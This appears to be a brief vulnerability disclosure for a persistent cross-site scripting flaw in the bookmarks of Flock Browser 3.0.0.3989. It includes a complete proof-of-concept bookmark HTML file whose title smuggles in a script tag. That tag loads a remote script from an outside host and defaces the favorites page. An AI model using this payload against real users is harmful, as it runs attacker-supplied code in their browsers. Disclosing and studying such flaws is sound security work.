Flock Browser 3.0.0.3989 Malformed Bookmark XSS

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Flock Browser 3.0.0.3989 Malformed Bookmark XSS
Vendor URL: http://beta.flock.com/
Vendor notify:NO exploits availables:YES
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Flock is faster, simpler, and more friendly. Literally.
It's the only sleek, modern web browser with the built-in
ability to keep you up-to-date with your Facebook and Twitter
friends.This browser version (3.0.0.3989) is based in a old
chromium project


Flock has a flaw that allows Cross-site scripting style attacks
In bookmarks is has a Malformed bookmark title persistent xss
when inport from other browsers a malformed bookmark or when add
a new malformed bookmark or import a bookmark html file.

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Example Of Bookmark html file
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<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Menú Marcadores</H1>
<DL><p>
<DT><A HREF="http://www.mozilla.org" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">&quot;&gt;&lt;script

src='http://vuln.xssed.net/thirdparty/scripts/ckers.org.js'&gt;</A>
</DL><p>

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It is a persintent script insercion and when the user click in the menu for view
favorites page or access directly to favorites url this make a "defacement" of this page and them the user can´t access to favorites
( Url of favorites => chrome-extension://flock_people/favorites.html#p=1&v=all&o=0&s=title )

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